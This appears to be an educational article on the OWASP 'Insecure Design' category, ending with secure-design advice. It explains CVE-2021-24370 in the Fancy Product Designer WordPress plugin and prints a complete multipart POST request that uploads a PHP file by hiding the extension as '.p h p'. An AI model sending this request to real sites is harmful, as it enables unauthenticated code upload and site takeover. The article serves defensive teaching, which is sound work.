This category of OWASP weaknesses focuses on risks related to application architecture and design flaws. This category is quite broad and covers 40 CWEs related to application design.

Do you want to have an in-depth understanding of all modern aspects of
Insecure Design?
Read this article and bookmark it to get back later, we regularly update this page.

Designing the application in a secure way and anticipating possible attack vectors is an important step in the CI/CD pipeline. Implementation of Secure Development Lifecycle (SDLC) is an important process that can ensure your application safety by design.

What is Insecure Design?

The Insecure design category maps 40 CWEs that are related to input valuation errors, proper usage of application APIs and functions, privilege management issues and IDOR vulnerabilities, security of communication with the application, secure storage of sensitive information.

This new OWASP category anticipates broad negotiations with business and implementation of threat modeling stage in order to anticipate attack vectors and properly protect the web application.

Impact

Insecure application design can have severe consequences for the business, as it may allow attackers interfere with the application logic and lead to sensitive information disclosure or web application compromise.

Recent cases of IDOR vulnerabilities in WordPress plugins demonstrate how easy it is to take over the web application.

Example

Let’s have a quick look at the vulnerability in Fancy Product Designer WordPress plugin, known as CVE-2021-24370. The vulnerability in question is unauthenticated upload of arbitrary files (CWE-434), which was used in the wild in May 2021.

Fancy Product Designer is a WordPress plugin that allows users to upload images and PDF files. The plugin implemented filename sanitization during file upload, checked for proper content type of the file and checked if the file has a dangerous extension.

The issue however was that the filename that was passed from the attacker was first checked for dangerous file extension and after that the filename was sanitized.

An attacker could use the “anyfile.p h p” (with spaces in the file extension) to pass the FPD_Image_Utils::sanitize_filename() method checks from fpd-image-utils, since the “.p h p” file extension is not considered dangerous.

After that however the filename is sanitized and all special characters, including spaces are removed from it, which results in the anyfile.php being uploaded with the needed extension to the server.

Therefore, the HTTP POST request to exploit the vulnerability would look like this:

 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8
 
 Content-Disposition: form-data; name="action"
 
 fpd_custom_uplod_file
 
 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8
 
 Content-Disposition: form-data; name="uploadsDir"
 
 uploads
 
 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8
 
 Content-Disposition: form-data; name="uploadsDirURL"
 
 uploads
 
 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8
 
 Content-Disposition: form-data; name="saveOnServer"
 
 1
 
 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8
 
 Content-Disposition: form-data; name="pdf"; filename="anyfile.p h p"
 
 Content-Type: application/pdf
 
 <?php echo "Exploit! ");
 
 ------WebKitFormBoundaryOK7yAUgAuA8qyGG8--

After successful upload the file was renamed using md5 hashing algorithm the “.php” file extension.

Solution

Here are the steps that can be helpful when designing your application:

Implement SDLC to help evaluate and design security and privacy-related controls
Implement a library of secure design patterns and use it across your application
Evaluate application authentication process, access control, business logic and use threat modelling to identify possible attack vectors.
Create integration tests and checks to validate that all critical flows are resistant to the designed threat model.
Pay attention to resources and limit their consumption by the service user